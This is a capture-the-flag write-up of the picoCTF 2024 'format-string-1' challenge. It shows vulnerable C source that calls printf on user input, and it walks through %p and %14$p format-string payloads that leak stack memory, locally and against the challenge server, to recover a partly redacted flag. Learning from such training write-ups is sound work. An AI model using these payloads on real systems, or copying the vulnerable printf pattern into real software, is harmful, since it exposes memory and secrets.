PicoCTF 2024: format-string-1
Recon
We’re given an executable and its source code; let’s first review the code:
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}The program reads three files, if they’re not in the current working
directory, the program stops. There is an obvious format string
vulnerability in the call to printf(buf). The flag is read
from a file into a buffer on the stack. We will read the flag from the
stack as hex and then do some data manipulation on it to get the
human-readable format.
Local testing
Let’s find the offset for the flag buffer on the stack.
First, we create a flag.txt in the same directory as the
executable, and fill it with an unique, easy to read value, such as
“BBBBBBBB” which will look like 0x4242424242424242 in hex. When we’ll
find that pointer on the stack we know we’re at the beginning of the
flag buffer, then we will only have to look at the next 8-byte contents
on stack to find the other parts of the flag, as the buffer is a
continuous memory region.
By the way we’ll also create the other 2 needed files, but their content’s don’t matter here. I’ll write AAAAAAAA and CCCCCCCC in them.
$ ./format-string-1
Give me your order and I'll read it back to you:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your order: 0x402118.(nil).(nil).0x402116.0x7f54acd3ca80.0x4343434343434343.0x677f000a.0x7ffcb4297808.0x7f54acd71a48.0x1.0x7f54acd66f08.0x9.(nil).0x4242424242424242.0x7f54acd9000a.0x7ffcb42976f8.0x7ffcb4297700.0x7f54acd9c668.(nil).(nil).0x7f54acd91740.0x4141414141414141.0x7ffc0000000a.0x7f54acd9c2e0.0xffffffff.0x7f54acb7b678.0x7f54acd66400.0x1.0x7ffcb4297840.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.
Bye!
We notice the hex patterns we were looking for (A, B, C) and see that the flag buffer (full of 0x42 “B” bytes) is at offset 14.
Remote exploit
Now we can try this on the remote server, get the 14th pointer and the ones after:
$ nc mimas.picoctf.net 64683
Give me your order and I'll read it back to you:
%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$p
Here's your order: 0x7b4654436f636970.0x355f31346d316e34.0x3478345f33317937.0x31395f673431665f.[REDACTED]
Bye!
By swapping endianness (on 8-byte sequences) and removing the
0x prefix and the . suffix, we get this raw
byte sequence:
7069636f4354467b346e316d34315f35377931335f3478345f663134675f3931[REDACTED]
This, when encoded back to ASCII, gives us the flag:
picoCTF{4n1m41_57y13_4x4_f14g_[REDACTED]